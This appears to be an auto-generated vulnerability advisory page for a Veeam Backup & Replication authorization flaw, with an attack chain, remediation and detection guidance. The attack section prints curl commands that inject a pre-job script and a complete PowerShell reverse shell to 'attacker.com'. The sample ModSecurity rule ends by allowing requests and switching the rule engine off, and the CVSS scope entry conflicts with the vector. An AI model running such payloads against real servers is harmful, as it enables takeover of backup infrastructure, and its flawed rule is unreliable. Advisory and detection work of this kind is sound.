CVE Professor
/
All CVEs
CVE-2026-108145

CVE-2026-108145 — Veeam Backup And Replication — CWE-863

CRITICAL CVSS 9.4 Shodan

A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Operator role to execute arbitrary commands on the backup server with the privileges of the Veeam Backup Service, which is SYSTEM on Windows-based servers. The job management interface of the backup service lets this role modify backup job options, including the pre-job script command, even though the role is not permitted to edit jobs. The user can then start the job to run the injected command.

A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Operator role to execute arbitrary commands on the backup server with the privileges of the Veeam Backup Service, which is SYSTEM on Windows-based servers. The job management interface of the backup service lets this role modify backup job options, including the pre-job script command, even though the role is not permitted to edit jobs. The user can then start the job to run the injected command.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑108145 is a classic Authorization Bypass Through Privileged Role (CWE‑863) in Veeam Backup & Replication.
The software implements a role‑based access control (RBAC) model where the Backup Operator role is intended to view and run backup jobs but not to edit job configuration.
However, the job‑management API/UI incorrectly allows a Backup Operator to modify the pre‑job script field of any job. Because the Veeam Backup Service runs as SYSTEM on Windows, any command injected into that field is executed with SYSTEM privileges when the job is started.

CVSS 4.0 componentValueInterpretation
Attack Vector (AV)Network (N)Remote attacker can reach the service over the network.
Attack Complexity (AC)Low (L)No special conditions required.
Privileges Required (PR)Low (L)Only a Backup Operator account is needed.
User Interaction (UI)None (N)No user action required after the exploit.
Confidentiality Impact (VC)High (H)Full access to backup data and the backup server.
Integrity Impact (VI)High (H)Ability to modify or delete backup jobs and data.
Availability Impact (VA)High (H)Potential to disrupt backup operations or crash the service.
Scope (S)Unchanged (U)The vulnerability does not affect other components outside the backup service.

The flaw is a missing authorization check on the endpoint that updates job options. The RBAC engine does not verify that the caller has the Edit Jobs permission before allowing a change to the preJobScript field.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. The example uses the Veeam REST API, which is the most common programmatic interface. If the attacker prefers the web UI, the same logic applies – the UI simply renders the same API calls.

NOTE – The exact URI paths (/api/jobs/...) are illustrative. The real endpoints may differ; the attacker would discover them via the API documentation or by inspecting traffic.

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
1.1Identify Veeam servicenmap -sV -p 9443 <target> → Veeam Backup & Replication 12.x
1.2Enumerate roles & permissionscurl -k -u admin:Password https://<target>/api/roles → list includes Backup Operator
1.3Verify job listcurl -k -u operator:Password https://<target>/api/jobs → returns job IDs

The attacker now knows that a Backup Operator account exists and that the API is reachable.

2. Exploitation

StepActionExample
2.1Inject a malicious pre‑job scriptThe attacker crafts a JSON payload that sets the preJobScript field to an arbitrary command.

| 2.2 | Send the payload | `curl -k -u operator:Password -X POST https://<target>/api/jobs/123/options \\

-H "Content-Type: application/json" \\

-d '{"preJobScript":"powershell -Command \"Invoke-Expression 'cmd /c whoami'\""}'` |

| 2.3 | Start the job | curl -k -u operator:Password -X POST https://<target>/api/jobs/123/start |

When the job starts, the Veeam Backup Service (running as SYSTEM) executes the injected PowerShell command. The command can be anything – a reverse shell, a persistence mechanism, or a data exfiltration routine.

Illustrative Example – The attacker could replace the command with a reverse shell:
> powershell -NoP -NonI -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
>

3. Post‑Exploitation

StepImpactWhat the attacker can do
3.1SYSTEM privilegesThe attacker now runs as SYSTEM on the backup server.
3.2Install persistenceDeploy a Windows service, scheduled task, or registry run key.
3.3Data exfiltrationCopy backup files to an external location, or dump the backup database.
3.4Move laterallyUse the SYSTEM account to pivot to other servers or domain controllers.
3.5Cover tracksDelete or modify audit logs, disable logging, or use stealthy backdoors.

Because the attacker can run arbitrary code as SYSTEM, the impact is effectively full compromise of the backup infrastructure.


🌍 Real World Impact

ImpactDetail
ConfidentialityHigh – attacker can read all backup data, including PII, credentials, and system images.
IntegrityHigh – attacker can modify or delete backup jobs, corrupt backup data, or inject malicious payloads into future backups.
AvailabilityHigh – attacker can crash the backup service, delete scheduled jobs, or lock out legitimate users.
ScopeUnchanged – the vulnerability is confined to the Veeam Backup Service; it does not automatically affect other services.

Practical consequences for an organization:

  • Loss of trust in backup integrity; regulatory compliance violations (e.g., GDPR, HIPAA).
  • Potential for ransomware deployment if the attacker uses the SYSTEM account to encrypt backup files.
  • Extended downtime of backup operations, leading to data loss or extended recovery times.
  • Compromise of the entire domain if the backup server is a domain controller or has privileged network access.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    ProductAffected VersionsPatch Status
    Veeam Backup & Replication12.x and earlier (including 12.0‑12.5)Patch pending – no public release as of 03 Dec 2026.
    Recommendation: Upgrade to the latest Veeam Backup & Replication release (≥ 12.6) once the vendor publishes a patch. If an upgrade is not immediately possible, apply the mitigations below.

    Workarounds

    1. Restrict the Backup Operator role
    Remove the Edit Jobs* permission from the role.
    Verify that the role only has View Jobs and Run Jobs* permissions.

    2. Disable pre‑job scripts
    In the Veeam console, set the Pre‑Job Script* field to a static, benign value (e.g., echo "No script").
    * Alternatively, use the API to clear the field for all jobs:

    curl -k -u admin:Password -X POST https://<target>/api/jobs/123/options \
              -H "Content-Type: application/json" \
              -d '{"preJobScript":"echo \"No script\""}'

    3. Apply WAF / ModSecurity rules
    Block POST requests that modify preJobScript unless the caller has the Edit Jobs* permission.
    * Example ModSecurity rule (illustrative):

    SecRule REQUEST_URI "@beginsWith /api/jobs/" \
             "chain,phase:2,block,msg:'Disallow preJobScript modification by non‑editors'"
         SecRule REQUEST_HEADERS:Authorization "@rx Basic [A-Za-z0-9+/=]+" \
             "chain"
         SecRule REQUEST_HEADERS:Authorization "@rx ^Basic [A-Za-z0-9+/=]+$" \
             "chain"
         SecRule REQUEST_HEADERS:Authorization "@rx ^Basic [A-Za-z0-9+/=]+$" \
             "t:none,allow,ctl:ruleEngine=Off"

    * The rule should be tuned to your environment; the above is a template.

    4. Network segmentation
    * Place the backup server in a separate VLAN or subnet with strict egress rules.
    * Allow only the backup service to communicate with the storage targets.

    Detection

    IndicatorLog SourceExample
    Job option changes by Backup OperatorVeeam audit log (veeam_audit.log)User: operator modified job 123 preJobScript
    Execution of pre‑job scriptWindows Event ID 4688 (Process Creation)CommandLine: powershell -Command "Invoke-Expression 'cmd /c whoami'"
    Unexpected network connections from backup serverNetFlow / IDSConnection from <backup_server> to external IP on port 4444
    System service creation by backup serviceWindows Event ID 7045ServiceName: MyBackdoor

    Tip: Enable Veeam’s Audit Logging and forward logs to a SIEM. Correlate job start events with process creation events to spot anomalous scripts.


    ⚠️ Urgency

  • CVSS score: 9.4 (Critical) – indicates a high‑risk flaw that can be exploited with minimal effort.
  • Exploit complexity: Low – requires only a valid Backup Operator account, which is often granted to many users.
  • Privilege escalation: The attacker gains SYSTEM privileges, effectively full control over the backup server.
  • CISA KEV status: No – but the lack of a KEV listing does not mitigate the risk; the vulnerability is still exploitable.
Patch priority: Immediate. Organizations should treat this as a critical patching priority, similar to a zero‑day RCE. If a patch is not available, implement the workarounds above and monitor logs closely.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Veeam Backup and Replication"
CVSS Score
9.4 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Veeam:Backup and Replication
References & Advisories (1)
Related CVEs
9.5
CVE-2026-108144
A vulnerability in Veeam Backup & Replication allows an unauthenticated remote attacker to obtain Backup Admin
9.4
CVE-2026-87904
A missing authorization check in the SSH file transfer interface of Veeam Backup & Replication allows an authe
9.4
CVE-2026-93025
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Viewer role to enum
9.4
CVE-2026-93027
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Viewer role to caus
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.4
CVE-2026-115523
Improper authorization in the legacy push-publishing endpoint and environment management actions, combined wit